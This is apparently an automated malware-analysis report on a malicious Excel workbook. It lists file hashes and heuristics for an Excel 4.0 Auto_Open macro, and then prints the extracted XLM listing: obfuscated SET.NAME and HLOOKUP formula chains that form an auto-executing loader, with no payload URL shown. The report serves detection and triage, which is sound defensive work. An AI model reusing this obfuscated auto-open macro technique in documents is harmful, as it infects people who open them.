Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e45bbbc6e95f1f21…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:40 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 67c3955ecc1cb38334701f606ac2aefa SHA-1: a7ba955e91ed7142a160b56a165434e690d267ea SHA-256: e45bbbc6e95f1f21f29393df071f972cb153cc4873eecc47e671e1cca62bc673
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6798 bytes
SHA-256: 6b20be902bab3162e3e23f75b52005f59433b572a6f1ec023c65b7f3aff54102
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hEgeYCy
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C198 
' 0018     26 LABEL : Cell Value, String Constant - bvJdGhJEYHD len=0 
' 0018     22 LABEL : Cell Value, String Constant - DlDwORI len=0 
' 0018     26 LABEL : Cell Value, String Constant - GHXmPvNkhsY len=0 
' 0018     26 LABEL : Cell Value, String Constant - gYffnSWtSlg len=0 
' 0018     26 LABEL : Cell Value, String Constant - hHDSYURKpDu len=0 
' 0018     26 LABEL : Cell Value, String Constant - IClGHzBFkdr len=0 
' 0018     24 LABEL : Cell Value, String Constant - jpIeYJmYE len=0 
' 0018     25 LABEL : Cell Value, String Constant - kXLRitBoPl len=0 
' 0018     22 LABEL : Cell Value, String Constant - NetgCDZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - nNKhKtf len=0 
' 0018     20 LABEL : Cell Value, String Constant - OiMeE len=0 
' 0018     22 LABEL : Cell Value, String Constant - PsLDQPu len=0 
' 0018     27 LABEL : Cell Value, String Constant - qAglwzbRUrBp len=0 
' 0018     27 LABEL : Cell Value, String Constant - rfhaEFEfgZLY len=0 
' 0018     24 LABEL : Cell Value, String Constant - UYAmrlGtR len=0 
' 0018     22 LABEL : Cell Value, String Constant - UyPcawR len=0 
' 0018     25 LABEL : Cell Value, String Constant - viMhcrzwZU len=0 
' 0018     22 LABEL : Cell Value, String Constant - vLirHcZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - WTvutjb len=0 
' 0018     24 LABEL : Cell Value, String Constant - XokhLlJPT len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hEgeYCy,S46,"",999.00000000000000000000
'  hEgeYCy,S47,"",661.00000000000000000000
'  hEgeYCy,S48,"",646.00000000000000000000
'  hEgeYCy,S49,"",64.00000000000000000000
'  hEgeYCy,S50,"",514.00000000000000000000
'  hEgeYCy,S51,"",-546.00000000000000000000
'  hEgeYCy,C98,"SET.NAME("nNKhKtf",0+VALUE("0"))",""
'  hEgeYCy,C103,"SET.NAME("rfhaEFEfgZLY",nNKhKtf)",""
'  hEgeYCy,C106,"SET.NAME("XokhLlJPT",nNKhKtf)",""
'  hEgeYCy,C111,"SET.NAME("bvJdGhJEYHD",COUNTA(PsLDQPu))",""
'  hEgeYCy,C116,"SET.NAME("UyPcawR",COUNTA(NetgCDZ))",""
'  hEgeYCy,C121,[],""
'  hEgeYCy,C125,"SET.NAME("qAglwzbRUrBp","")",""
'  hEgeYCy,C129,"rfhaEFEfgZLY",""
'  hEgeYCy,C134,"SET.NAME("kXLRitBoPl",HLOOKUP("*",PsLDQPu,rfhaEFEfgZLY,FALSE))",""
'  hEgeYCy,C139,"jpIeYJmYE",""
'  hEgeYCy,C142,"SET.NAME("UYAmrlGtR",nNKhKtf)",""
'  hEgeYCy,C147,[],""
'  hEgeYCy,C149,"UYAmrlGtR",""
'  hEgeYCy,C152,"viMhcrzwZU",""
'  hEgeYCy,C155,"vLirHcZ",""
'  hEgeYCy,C158,"hHDSYURKpDu",""
'  hEgeYCy,C163,"SET.NAME("WTvutjb",VALUE(HLOOKUP("*",NetgCDZ,hHDSYURKpDu,FALSE)))",""
'  hEgeYCy,C165,"OiMeE",""
'  hEgeYCy,C169,"qAglwzbRUrBp",""
'  hEgeYCy,C171,"XokhLlJPT",""
'  hEgeYCy,C175,NEXT(),""
'  hEgeYCy,C178,"IClGHzBFkdr",""
'  hEgeYCy,C183,[],""
'  hEgeYCy,C186,"DlDwORI",""
'  hEgeYCy,C191,NEXT(),""
'  hEgeYCy,C196,RETURN(),""
'  hEgeYCy,C214,"SET.NAME("GHXmPvNkhsY",C98)",""
'  hEgeYCy,C218,"PsLDQPu",""
'  hEgeYCy,C222,"SET.NAME("NetgCDZ",R86C13)",""
'  hEgeYCy,C224,"SET.NAME("DlDwORI",234)",""
'  hEgeYCy,C229,"SET.NAME("gYffnSWtSlg",3)",""
'  hEgeYCy,C233,GHXmPvNkhsY(),""
'  hEgeYCy,C234,HALT(),""

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